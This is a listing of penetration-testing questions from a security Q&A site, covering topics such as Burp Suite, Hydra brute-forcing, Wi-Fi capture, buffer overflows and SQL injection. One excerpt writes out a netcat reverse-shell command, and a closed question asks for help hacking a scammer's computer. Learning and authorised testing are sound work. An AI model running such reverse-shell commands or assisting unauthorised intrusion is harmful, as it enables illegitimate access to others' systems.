Questions tagged [penetration-test]

An attempt to penetrate a system's security in an effort to evaluate the protections in place.

Filter by
Sorted by
Tagged with
1 vote
2 answers
2k views

POST Method Anti-CSRF Help With Burp Suite

I am testing a web application and encountering anti-CSRF tokens within forms which is hampering fuzzing attempts using Burp Suite intruder. An anti-CSRF token appears as csrf-token within a HTML meta ...
2 votes
1 answer
351 views

How do you test buffer overflows in the lab?

I'm doing a lot of learning about buffer overflows, and BROP. My problem is how can I test against real software in the lab? I can find a lot of CVE's that contain sever bugs that are open to a buffer ...
2 votes
0 answers
374 views

OWASP Testing Guide Equivalent for Desktop Applications [closed]

I was wondering if any of you know of a guide similar to the OWASP Testing Guide but meant specifically for desktop applications? I had no luck searching the Internet. I am looking for something ...
0 votes
0 answers
382 views

How to run command as privileged Windows service account against Active Directory domain controller?

I've compromised a Windows machine that leaks the password of a privileged service account ("Domain Admin") in memory (legal penetration test). Since the account is a service account, it cannot be ...
-2 votes
1 answer
614 views

Penetration testing or Malware analysis? [closed]

My M.Sc research is about developing IDS for IOT. I'm confused about which field should learn more about; penetration testing or malware analysis. I have some knowledge about each one but for IDS, ...
0 votes
1 answer
229 views

What can be disadvantages (impacts) of keeping passwords in plain text in web browser?

While hunting for bugs, I landed on a website which shows my password in plain-text when I inspect element when I sign in (I didn't tweak things like changing type attribute to text). I can clearly ...
1 vote
1 answer
1k views

JSON web token vulnerability with HMAC and RSA

I'm currently learning about a vulnerability that takes advantage of a JSON web token which is discussed here Though I understood the nature of the bug and how it can be abused by attackers, I couldn'...
1 vote
2 answers
176 views

What tests can be performed on mobile apps to determine if they are secure?

My company is looking to work with a potential client's backend provider in order to make an app for them. To do this, we need to use their API. We've spoken to this company and they are worried about ...
1 vote
2 answers
4k views

Database Pentest methodology or list? [closed]

I am looking for a practical database pentest methodology (database level test). I checked the Internet but there is no much info. Where I should start and on which areas (step by step) should I focus ...
-13 votes
1 answer
1k views

I need help on how to hack into a scammer computer via IP/DNS [closed]

I really need your help in this one. Today I got scammed by a "trader" for 100$, but I managed to get his IP, reverse DNS and Hostname but I am unskilled in hacking. I need help here, I just want to ...
0 votes
1 answer
444 views

How is my employer accessing my router when employer's laptop is wirelessly connected to my home network

I have a modem bridged to a modern router running open source software and heavily secured. I have all connections to the router through a personal vpn from a dedicated provider. During work from home ...
0 votes
2 answers
102 views

/cron path found when testing site

I am testing a site and using dirb tool built into kali and it picked up /cron with a 200 response. I went to that page and it is blank. Can someone tell me why that was picked up and there is nothing ...
5 votes
2 answers
4k views

Pentest -- handling multiple reverse shells

I'm running a pentest and im expecting reverse shells from multiple shells connecting back as :- nc <my-ip> <my-port> -e /bin/bash However, I'm trying to figure out the best way to ...
9 votes
1 answer
2k views

How to get and use constantly changing cookie JSESSIONID values in Hydra?

Related: how to get cookies from aspx site to use it with hydra My problem is similar to the above case, I get "20 valid passwords found" but the server I'm trying to brute force sends the header set-...
-3 votes
2 answers
417 views

How to be a better ethical hacker? [closed]

I've been trying to learn ethical hacking for more than that two years thus far, I did a lot of practice on things like DVWA, hackthissite.org, metasploitable and some more similar apps and sites. Yet ...
15 votes
1 answer
31k views

Are there free online penetration testing labs that I can safely hack with my computer? [closed]

I have seen the offensive security penetration testing labs; they are amazing but costly. Is there any other online virtual penetration testing lab I can SAFELY conduct penetration testing and ...
10 votes
1 answer
7k views

How to Perform Vulnerability Assessment for WCF services

Does anyone know how to perform penetration testing/vulnerability assessment for Microsoft WCF services I couldn't find a tools till now , any tools available and guides are welcome
1 vote
3 answers
682 views

Test for OWASP Using Components with Known Vulnerabilities?

I'm trying to think how I would test an application for OWASP "Using Components with Known Vulnerabilities". If my understanding is correct, this deals a lot with out of date libraries/modules, but ...
5 votes
5 answers
2k views

Cloud provider for Penetration Testing

I wish to set up a Kali Linux box on a cloud provider in order to perform same day penetration tests. The issue I am having is finding a cloud provider such as AWS, Azure etc. for this. For AWS they ...
1 vote
1 answer
661 views

PCI DSS PenetrationTesting Requirement 11.3.4

I'm fairly new to PCI DSS and I'm confused over the requirement to perform pen-testing as per 11.3.4. as it states:- Are penetration-testing procedures defined to test all segmentation methods, ...
1 vote
2 answers
42k views

Airodump-ng occationally not showing networks near me

I'm brand new to the field of pen testing, so please excuse my ignorance and the potential asking of a question that already exists. As I stated in the title, there are times when I run airodump-ng [...
6 votes
1 answer
631 views

Find Security Flaws in My Payment Page

I've done some extensive research about how to secure your website from card fraud. iFrames do a pretty good job of this, however, It can still be worked around from certain exploits. Many payment ...
5 votes
3 answers
7k views

CentOS for security testing?

I am a QA Engineer, but have been tasked with creating a security testing platform. I have many years with Backtrack/Kali and my primary OS are Arch and Ubuntu. The Systems guys here gave me a CentOS ...
1 vote
1 answer
6k views

Hydra: Brute force an http form, all arguments are supplied but the login error has other string formats and is too big

I am using Hydra to brute force a login http form (Method: post), but I'm getting false positives (passwords that aren't valid) I believe I know the reason, I just don't know how to handle it: The ...
2 votes
3 answers
4k views

How can I conduct penetration testing on VirtualBox

I want to get started with penetration testing, and have read that it is better to conduct such tests using a virtual machine rather than your own computer. I also want to use the internal network ...
8 votes
3 answers
1k views

What are some instant red flags when scanning an network with nmap

When doing an Nmap scan from an external network, what open ports should be an instant red flag? For example, if I was in the open internet and scanned www.somewebsite.com, besides port 22, what other ...
5 votes
2 answers
9k views

Is using htmlentities or htmlspecialchars functions enough to block XSS attack

I know this question was discussed on net various times. and people give some example how to bypass these functions through passing some code. But here one issue, All example of htmlentities/...
4 votes
1 answer
4k views

How to control the ciphersuites in nmap "ssl-enum-ciphers"

There is a script for enumerating the TLS versions and ciphersuites ofered by a server provided by nmap. See this link. Is there a way that allow me to specify the verisions and ciphersuites I want ...
0 votes
1 answer
2k views

Import Wireshark Cookies into Firefox?

I'm trying to copy session cookies (collected using Wireshark) into a different Firefox sessions. But can't seem to find a method or working add-on to manage the cookies. Greasemonkey and ...
2 votes
0 answers
184 views

Guideline/Standards for Valid Penetration Testing

I'm part of a team that's been asked to penetration test an application that is not GA or even at a release candidate yet. I believe that any pen test findings, positive or negative would be invalid ...
4 votes
1 answer
205 views

Google App Script as public gateway for database (spreadsheet)

I've created a google app script that takes a POST request and writes to a google spreadsheet. In parallel, I've also made an Android app that sends HTTP requests to this google app script. I did it ...
1 vote
1 answer
727 views

How to add a cookies parameter to Dotdotpwn script [closed]

Do you know how I can add a specific cookie parameter like "access token" to dotdotpwn script? Without this, I have that output "Web server (xxxx) didn't respond !"
6 votes
1 answer
3k views

Does Strict-Transport Security Header (HSTS) need to be applied to non 200 response pages (e.g. 403, 302)

I have an application that is protected by Cloudflare. The application responds with a HSTS on all of the other pages except HTTP status 403 Forbidden and 302 Moved Temporarily. It seems to be ...
3 votes
1 answer
7k views

Is it possible to bypass USB access restriction placed by the Active Directory? [closed]

I've been tasked with an onsite engagement to see what I can find from one of their laptops. They have a policy in place to block USB access through the Active Directory, e.g. When you try to access ...
32 votes
8 answers
49k views

What defines a programming language as useful for hacking?

I know that scripting languages (Perl, Ruby, Python, javascript, and even Lua!!!) are most suitable for hacking and penetration testing. My question is: What is it that makes those languages suitable?...
0 votes
1 answer
11k views

5ghz monitor mode airodump-ng

I am a beginner in pen-testing, and I am interested in learning, but I seem to run into a brick wall when trying to do so. I have an AP which broadcasts in 2.4ghz and 5ghz. Pretty standard. I am using ...
3 votes
1 answer
4k views

Use netcat to Pivot

So I have a shell into machine A which doesn't have ssh installed and I can't get a tty shell on (I've tried all of the tty cheat sheets, I think this is intentional) Through machine A I can see ...
2 votes
3 answers
2k views

nikto's results differ from other vulnerability scanners , is it more or less accurate?

I was doing some scanning on a web application, I used OWASP zap and Nessus. The risks that these two detected were medium to low, very few vulnerabilities. Then I tried nikto, and the results were ...
4 votes
1 answer
811 views

Return-to-libc Attack mystery

I'm studying the Return-to-libc Attack and I understand the concept. But one thing still does not make sense. In order to make the attack I need the memory address of system() and "/bin/sh", which is ...
1 vote
1 answer
514 views

How does Client-Side-Exploitation get the System-level-shell in Metasploit?

For example, if my client is using a vulnerable Internet Explorer which was vulnerable to the Aurora Vulnerability (I know its old and patch, but for now, let's assume) then I use Metasploit Client-...
8 votes
1 answer
2k views

How to report unsuccessful attacks to the source network admins? [duplicate]

I am not an information security professional as such. I am a self-taught web developer so I hope this question is not too basic. I have set up a web store via WordPress using WooCommerce and ...
0 votes
1 answer
145 views

Struggling to profile the query behind a SQLi vulnerability

I'm black-box pen testing a colleague's website for common vulnerabilities (mainly concerned with OWASP's top 10). I've found a SQL injection vulnerability in a form since the use of special ...
36 votes
5 answers
3k views

How to improve as a security expert

I'm a professional software developer with a high interest in web application security. I'd say that I probably have a better understanding of the security of web applications than the average ...
3 votes
1 answer
237 views

Site Executing control characters in title tag

I am currently pentesting a site for a client of mine and I found a very strange 'bug'. They have a search box on the home page which if I enter te\tst and hit search, it redirects to the search ...
0 votes
1 answer
3k views

Is OSX or Mac hardware used in the InfoSec world? What resources are available? [duplicate]

Possible Duplicate: Mac OS X from an IT Security Practitioners' Perspective? I'm new to the OSX world (formerly Windows background) and am interested in understanding what is or isn't ...
1 vote
2 answers
377 views

How to scan allowed outbound (destination) ports on the local host?

Without access to firewall rules, I want to scan allowed outbound (destination) ports on the local machine. I would take too long to start a netcat listener for each of the destination ports on a ...
1 vote
0 answers
107 views

Is it possible to circumvent (ignore) routing table without root permissions?

The local host is configured to send all non-local traffic to a restrictive firewall VM configured in the routing table (route). Preliminary scanning shows that other routers are available on the ...
12 votes
1 answer
6k views

Is my iPhone being targeted by the US Department of Defense?

Below is a screenshot of a text message my mobile device received within the past hour. It contains the text "6.216.198.5:8006/Y/0329235420500012000110000" from the number "1111301000". I am curious ...
3 votes
1 answer
233 views

Is it a good idea to test a live company website as part of an interview process?

I got an interview task, which is to pentest the careers section of a company's website. I'm keen to play around with any website, and permission was given but this feels like a free pentest. I ...
-1 votes
1 answer
1k views

what would happen if port 22 and 23 are opened [duplicate]

what would happen if port 22 and 23 are opened

1
6 7
8
9 10
26